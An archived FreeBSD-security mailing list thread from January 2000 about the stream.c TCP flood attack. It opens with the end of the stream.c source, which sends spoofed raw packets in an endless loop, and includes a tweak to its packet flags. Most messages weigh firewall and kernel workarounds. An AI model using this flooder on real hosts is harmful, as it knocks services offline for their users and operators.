cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; for(i=0;;++i) { cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; if (!dstport) s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum)); if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("jess"); } } int main(int argc, char *argv[]) { int on = 1; printf("stream.c v1.0 - TCP Packet Storm\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } setgid(getgid()); setuid(getuid()); if (argc < 4) usage(argv[0]); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(1); } srand((time(NULL) ^ getpid()) + getppid()); printf("\nResolving IPs..."); fflush(stdout); dstaddr = lookup(argv[1]); dstport = atoi(argv[2]); pktsize = atoi(argv[3]); printf("Sending..."); fflush(stdout); flooder(); return 0; } -- end stream.c -- /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:28:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 52114154CC for ; Fri, 21 Jan 2000 09:28:10 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 51870 invoked by uid 1001); 21 Jan 2000 12:30:24 -0000 Date: Fri, 21 Jan 2000 12:30:24 +0000 (GMT) From: Intranova Networking Group To: Jeroen Ruigrok/Asmodai Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <20000121133216.D6965@daemon.ninth-circle.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is bad, I started working on it around 7am, did a little program that flooded another machine at home in 50ms intervals with a spoofed TCP/IP packet, and the FreeBSD machine gave no indication of trouble, load averages jumped a little from 0.00 to 0.22, then it rebooted, then this morning my machine at work was hit and it rebooted, after rebooting, syslog was cluttered with ICMP bandwidth limiting messages. But for one thing I ran three instances of my program simultaneously, so maybe that could help someone... I really have no idea on what to say now... Omachonu Ogali Intranova Networking Group On Fri, 21 Jan 2000, Jeroen Ruigrok/Asmodai wrote: > -On [20000121 13:21], Omachonu Ogali (oogali@intranova.net) wrote: > >Could you give us a snippet of the syslog output from the FreeBSD machine? > > I tested it on two CURRENT boxes. > > No panics, no crash, nothing in the syslog, just weird packets over the > wire. I could still type through my ssh connections, use top. Albeit a > bit more slowly. > > Could be that the 10 MB segment (connecting the machines in that segment > with a hub) could saturated too much. > > Also, when running stream I got these from the program: > > jess: No buffer space available > jess: No buffer space available > jess: No buffer space available > jess: No buffer space available > > Which seems that there's some throttling going on due to no buffers > being free. > > Also netstat -m on both boxes isn't scary to behold and the nbmclusters > are in the range of 1500. > > Just some observations, > > -- > Jeroen Ruigrok vd W/Asmodai asmodai@[wxs.nl|bart.nl|freebsd.org] > Documentation nutter/B-rated Coder BSD: Technical excellence at its best > The BSD Programmer's Documentation Project > Ain't gonna spend the rest of my Life, quietly fading away... > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:37:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0BB9C15513 for ; Fri, 21 Jan 2000 09:37:03 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA21042; Fri, 21 Jan 2000 10:36:42 -0700 (MST) Message-Id: <4.2.2.20000121102114.01a2dc10@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 10:36:39 -0700 To: TrouBle , Darren Reed From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: oogali@intranova.net (Omachonu Ogali), security@FreeBSD.ORG In-Reply-To: <20000121.16082400@bastille.netquick.net> References: <200001211415.BAA12772@cairo.anu.edu.au> <200001211415.BAA12772@cairo.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:08 AM 1/21/2000 , TrouBle wrote: >So can i get a straight answer, is there yet a patch to fix this >problem under current ?? does it affect current ??? Under CURRENT, the absolute fastest fix is to set tcp_restrict_rst. This ought to hold you until you firewall and/or until there's a patch. You will still see some loading as the kernel does extra work to process the bogus packets; I've made some suggestions for patches that should help this a bit. [Note: some recent postings have pointed out problems with restricting RSTs. They're right; there are some. But that's less important than keeping your systems alive if you're under attack.] Another more general to use IPFilter (not IPFW!) with the rules Darren mentioned earlier: block in quick proto tcp from any to any head 100 pass in quick proto tcp from any to any flags S keep state group 100 pass in all If you use this on your router, it'll protect downstream machines. And it works on all of the BSDs, Solaris, *and* Linux, so it's a more far-reaching fix too. >and 3.3 I don't think 3.3 has tcp_restrict_rst (Guys, correct me here if I'm mistaken), so you'll need to use IPFilter. > and 3.4 ????? 3.4 has tcp_restrict_rst. You can set it in rc.conf. >also is there a way to test the vulnerability is gone after patching >??? I'm sure that stream.c is being sent out on the kiddie IRC channels. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:41:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id EFB22154EC for ; Fri, 21 Jan 2000 09:41:44 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA21080; Fri, 21 Jan 2000 10:41:27 -0700 (MST) Message-Id: <4.2.2.20000121103732.01a619a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 10:41:23 -0700 To: David G Andersen From: Brett Glass Subject: Re: stream.c workaround clarification Cc: rbezuide@oskar.dev.nanoteq.co.za (Reinier Bezuidenhout), robinson@netrinsics.com (Michael Robinson), freebsd-security@FreeBSD.ORG In-Reply-To: <200001211643.JAA02231@faith.cs.utah.edu> References: <4.2.2.20000121093753.01a51ba0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:43 AM 1/21/2000 , David G Andersen wrote: >Lo and behold, Brett Glass once said: > > > No, IPFW can't do it without assistance from another program, > > which has not yet been written. > > And which I'd wager you won't want to do. The overhead of pushing the >acks into usermode will clobber you just as badly. The ring transition would take time, but the even bigger hit would be maintaining session tables. That work is redundant, because the kernel has to do it too. The programming effort is better spent on the kernel, unless you're firewalling downstream machines. In which case, it'd be better to modify IPFW's kernel code or use IPFilter. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:42:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id EF5D215546 for ; Fri, 21 Jan 2000 09:42:24 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com; Fri, 21 Jan 2000 11:40:11 -0600 Message-Id: <4.2.0.58.20000121113943.012a8f10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 21 Jan 2000 11:42:24 -0600 To: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG From: Tim Yardley Subject: Re: explanation and code for stream.c issues In-Reply-To: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:25 AM 1/21/2000, Tim Yardley wrote: >stream.c issues > >--------------------------------------------------- >:: temp remedy (exec summary) >--------------------------------------------------- > >If you use ipfilter... > >-- start rule set -- >block in quick proto tcp from any to any head 100 >pass in quick proto tcp from any to any flags S keep state group 100 >pass in all >-- end rule set -- > >That will help you "stop" the attack, although it will still use some CPU >though > >Note: If you use IPFW, there is no immediate way to solve this problem due >to the fact that it is a stateless firewall. If you are getting attacked, >then temporarily use ipfilter to stop it. > >Otherwise, wait for vendor patches. > >FreeBSD "unofficial patch" by Alfred Perlstein: >http://www.freebsd.org/~alfred/tcp_fix.diff >-- start stream.c -- > packet.tcp.th_flags = 0; change this to a little different effect: packet.tcp.th_flags = TH_ACK; /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:47:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 5ACC215503 for ; Fri, 21 Jan 2000 09:47:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA21163; Fri, 21 Jan 2000 10:47:42 -0700 (MST) Message-Id: <4.2.2.20000121104707.016b3f00@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 10:47:38 -0700 To: Intranova Networking Group From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: Fernando Schapachnik , Bob Madden , freebsd-security@FreeBSD.ORG In-Reply-To: References: <4.2.2.20000121095431.01a23a90@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Try tcp_restrict_rst in rc.conf. Not ideal but a good fast fix. --Brett At 05:24 AM 1/21/2000 , Intranova Networking Group wrote: >I think my machine was hit with it this morning. Rebooted at 8:20am and >the logs display nothing but ICMP bandwidth limiting messages, we have to >find some way to do this efficiently, in the mean time, can we violate the >protocol with somewhat of an 'emergency' patch before we get down to >business? > >Imachonu Ogali >Intranova Networking Group To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:52:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E981715494 for ; Fri, 21 Jan 2000 09:52:05 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA21217 for ; Fri, 21 Jan 2000 10:52:02 -0700 (MST) Message-Id: <4.2.2.20000121104921.01a55b80@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 10:51:59 -0700 To: security@freebsd.org From: Brett Glass Subject: Traffic on Bugtraq Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Funny: I've posted a few items to Bugtraq containing workarounds for the stream.c 'sploit, and NONE of them have come back to me via the list. In fact, I've gotten no traffic from this normally busy list since yesterday noon. I wonder: is "Aleph Null" off patching systems? Or was the list server itself, or one of its upstream routers, hit? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 10: 2:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id DEE521540A for ; Fri, 21 Jan 2000 10:02:20 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id NAA31988; Fri, 21 Jan 2000 13:02:04 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 13:02:04 -0500 From: Jared Mauch To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: Traffic on Bugtraq Message-ID: <20000121130204.C30675@puck.nether.net> Mail-Followup-To: Brett Glass , security@FreeBSD.ORG References: <4.2.2.20000121104921.01a55b80@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.20000121104921.01a55b80@localhost>; from brett@lariat.org on Fri, Jan 21, 2000 at 10:51:59AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org They only approve the messages once a day or once every few days is the way it appears to me based on my mailbox flow. I'll go two or three days without any bugtraq mail, then get about 25 all within 10 minutes. - jared On Fri, Jan 21, 2000 at 10:51:59AM -0700, Brett Glass wrote: > Funny: I've posted a few items to Bugtraq containing workarounds > for the stream.c 'sploit, and NONE of them have come back to me > via the list. In fact, I've gotten no traffic from this normally > busy list since yesterday noon. > > I wonder: is "Aleph Null" off patching systems? Or was the list server > itself, or one of its upstream routers, hit? > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 10: 9:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from pogo.caustic.org (pogo.caustic.org [208.44.193.69]) by hub.freebsd.org (Postfix) with ESMTP id A8CE91542C for ; Fri, 21 Jan 2000 10:09:17 -0800 (PST) (envelope-from jan@caustic.org) Received: from localhost (jan@localhost) by pogo.caustic.org (8.9.3/ignatz) with ESMTP id KAA89064; Fri, 21 Jan 2000 10:09:38 -0800 (PST) Date: Fri, 21 Jan 2000 10:09:38 -0800 (PST) From: "f.johan.beisser" To: Jared Mauch Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: Traffic on Bugtraq In-Reply-To: <20000121130204.C30675@puck.nether.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i just got two messages from bugtraq, with the explanation of stream.c, and how it works.. sooo... guess it's there :) along with how to defend against it -- jan On Fri, 21 Jan 2000, Jared Mauch wrote: > They only approve the messages once a day or once every few > days is the way it appears to me based on my mailbox flow. > > I'll go two or three days without any bugtraq mail, then > get about 25 all within 10 minutes. > > - jared > > On Fri, Jan 21, 2000 at 10:51:59AM -0700, Brett Glass wrote: > > Funny: I've posted a few items to Bugtraq containing workarounds > > for the stream.c 'sploit, and NONE of them have come back to me > > via the list. In fact, I've gotten no traffic from this normally > > busy list since yesterday noon. > > > > I wonder: is "Aleph Null" off patching systems? Or was the list server > > itself, or one of its upstream routers, hit? > > > > --Brett > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > -- > Jared Mauch | pgp key available via finger from jared@puck.nether.net > clue++; | http://puck.nether.net/~jared/ My statements are only mine. > END OF LINE | > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > +-----// f. johan beisser //------------------------------+ email: jan[at]caustic.org web: http://www.caustic.org/~jan "knowledge is power. power corrupts. study hard, be evil." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 10:13:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 8F37B14CED for ; Fri, 21 Jan 2000 10:13:37 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA84841; Fri, 21 Jan 2000 11:13:36 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA12694; Fri, 21 Jan 2000 11:13:40 -0700 (MST) Message-Id: <200001211813.LAA12694@harmony.village.org> To: Brett Glass Subject: Re: Traffic on Bugtraq Cc: security@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 10:51:59 MST." <4.2.2.20000121104921.01a55b80@localhost> References: <4.2.2.20000121104921.01a55b80@localhost> Date: Fri, 21 Jan 2000 11:13:40 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000121104921.01a55b80@localhost> Brett Glass writes: : Funny: I've posted a few items to Bugtraq containing workarounds : for the stream.c 'sploit, and NONE of them have come back to me : via the list. In fact, I've gotten no traffic from this normally : busy list since yesterday noon. : : I wonder: is "Aleph Null" off patching systems? Or was the list server : itself, or one of its upstream routers, hit? Maybe Aleph is off playing somehwere. I know that there is at least one third party root exploit in the queue to bugtraq that hasn't appeared in my mailbox yet. I'm waiting to republish it :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 10:29:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from wya.serendipity.za.org (wya.serendipity.za.org [196.14.22.130]) by hub.freebsd.org (Postfix) with ESMTP id BD38014FA1 for ; Fri, 21 Jan 2000 10:29:34 -0800 (PST) (envelope-from bje@wcape.school.za) Received: from bje.serendipity.za.org ([196.14.22.132] helo=bje) by wya.serendipity.za.org with smtp (Exim 3.03 #1) id 12BilR-0005Ra-00 for freebsd-security@FreeBSD.ORG; Fri, 21 Jan 2000 20:26:29 +0200 Message-ID: <005601bf643d$7881ac10$84160ec4@serendipity.za.org> From: "Jaco Engelbrecht" To: Subject: Date: Fri, 21 Jan 2000 20:29:36 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth 7c0cebb8 subscribe freebsd-security bje@wcape.school.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 11: 8:45 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id A51D91527D for ; Fri, 21 Jan 2000 11:08:40 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id WAA62110; Fri, 21 Jan 2000 22:04:48 +0300 (MSK) Date: Fri, 21 Jan 2000 22:04:53 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <8920.000121@sandy.ru> To: Tim Yardley Cc: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.org Subject: Re: explanation and code for stream.c issues In-reply-To: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> References: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Tim Yardley, 21.01.00 20:25, you wrote: explanation and code for stream.c issues; T> -- start rule set -- T> block in quick proto tcp from any to any head 100 T> pass in quick proto tcp from any to any flags S keep state group 100 T> pass in all T> -- end rule set -- Attack can be easily changed to send pair SYN and invalid SYN/ACK packets before spoofing some port. I guess in this case your ruleset will be useless. But i belive it's possible to limit the number of TCP packets send to some host with ipfw: ipfw pipe 10 config delay 50 queue 5 packets ipfw add pipe 10 tcp from any to $MYHOST in via $EXTERNAL I have not tested this rule but i guess with appropriate delay and queue it will stop any TCP spoofing. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 11:16:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 1A2BE15728 for ; Fri, 21 Jan 2000 11:15:31 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com; Fri, 21 Jan 2000 13:13:16 -0600 Message-Id: <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 21 Jan 2000 13:15:27 -0600 To: Vladimir Dubrovin From: Tim Yardley Subject: Re: explanation and code for stream.c issues Cc: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG In-Reply-To: <8920.000121@sandy.ru> References: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:04 PM 1/21/2000, Vladimir Dubrovin wrote: >Hello Tim Yardley, > >21.01.00 20:25, you wrote: explanation and code for stream.c issues; > >T> -- start rule set -- >T> block in quick proto tcp from any to any head 100 >T> pass in quick proto tcp from any to any flags S keep state group 100 >T> pass in all >T> -- end rule set -- > >Attack can be easily changed to send pair SYN and invalid SYN/ACK >packets before spoofing some port. I guess in this case your ruleset >will be useless. But i belive it's possible to limit the number of TCP >packets send to some host with ipfw: > >ipfw pipe 10 config delay 50 queue 5 packets >ipfw add pipe 10 tcp from any to $MYHOST in via $EXTERNAL > >I have not tested this rule but i guess with appropriate delay and >queue it will stop any TCP spoofing. As was mentioned in the "advisory/explanation" on the issue, ipfw cannot deal with the problem due to the fact that it is stateless. The attack comes from random ip addresses, therefore throttling like that only hurts your connection or solves nothing at all. In other words, the random sourcing and method of the attack, makes a non-stateless firewall useless. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 11:22:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from sivka.rdy.com (sivka.rdy.com [207.33.166.86]) by hub.freebsd.org (Postfix) with ESMTP id 7385115517 for ; Fri, 21 Jan 2000 11:22:20 -0800 (PST) (envelope-from dima@rdy.com) Received: (from dima@localhost) by sivka.rdy.com (8.9.3/8.9.3) id LAA04129; Fri, 21 Jan 2000 11:21:15 -0800 (PST) (envelope-from dima) Message-Id: <200001211921.LAA04129@sivka.rdy.com> Subject: Re: Re[2]: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <12643.000121@sandy.ru> from Vladimir Dubrovin at "Jan 21, 2000 03:26:08 pm" To: Vladimir Dubrovin Date: Fri, 21 Jan 2000 11:21:15 -0800 (PST) Cc: Dima Ruban , freebsd-security@FreeBSD.ORG Organization: HackerDome Reply-To: dima@rdy.com From: dima@rdy.com (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Vladimir Dubrovin writes: > Sure you cann't detect invalid ACK packets with ipfw, but IMHO ipfw > (then dummynet is used) can be used to eliminate any kind of flood > attack with amount of small packets. Rules like > > ipfw pipe 10 config delay 50 queue 5 packets > ipfw add pipe 10 tcp from any to MYHOST in via EXTERNAL > > should limit ipfw to allow only 5 tcp packets in 50 ms for MYHOST, > more packets will be dropped. But I don't think it's best solution. They use random source address. > > > +=-=-=-=-=-=-=-=-=+ > |Vladimir Dubrovin| > | Sandy Info, ISP | > +=-=-=-=-=-=-=-=-=+ > > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 12:51:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id BF4FE15475 for ; Fri, 21 Jan 2000 12:51:35 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id MAA18581; Fri, 21 Jan 2000 12:51:27 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id MAA03403; Fri, 21 Jan 2000 12:51:26 -0800 Received: from softweyr.com (dyn1.utah.xylan.com [198.206.184.237]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id MAA27919; Fri, 21 Jan 2000 12:50:03 -0800 (PST) Message-ID: <3888C7D2.D82BE362@softweyr.com> Date: Fri, 21 Jan 2000 13:55:46 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: TrouBle Cc: security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org TrouBle wrote: > > So can i get a straight answer, is there yet a patch to fix this > problem under current ?? does it affect current ??? > > and 3.3 and 3.4 ????? if so where can i get it cause i have 5 public > boxes, and we gots enemies.... these boxes run 3.2, 3.3 3.4 and 4.0 My K6-2/333 is handling 100,000 packets/sec on a Fast Ethernet just fine. (Well, as many as the PII/233 is capable of generating). Be warned if you're using the exploit program: if you select random addresses, it may (will) pick multicast IP addresses, which may have unintended side affects on your network. Augh! -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:10:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id DDFEB15503 for ; Fri, 21 Jan 2000 13:10:38 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id OAA23728; Fri, 21 Jan 2000 14:10:24 -0700 (MST) Message-Id: <4.2.2.20000121140941.01a68b30@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 14:10:23 -0700 To: Wes Peters , TrouBle From: Brett Glass Subject: Re: 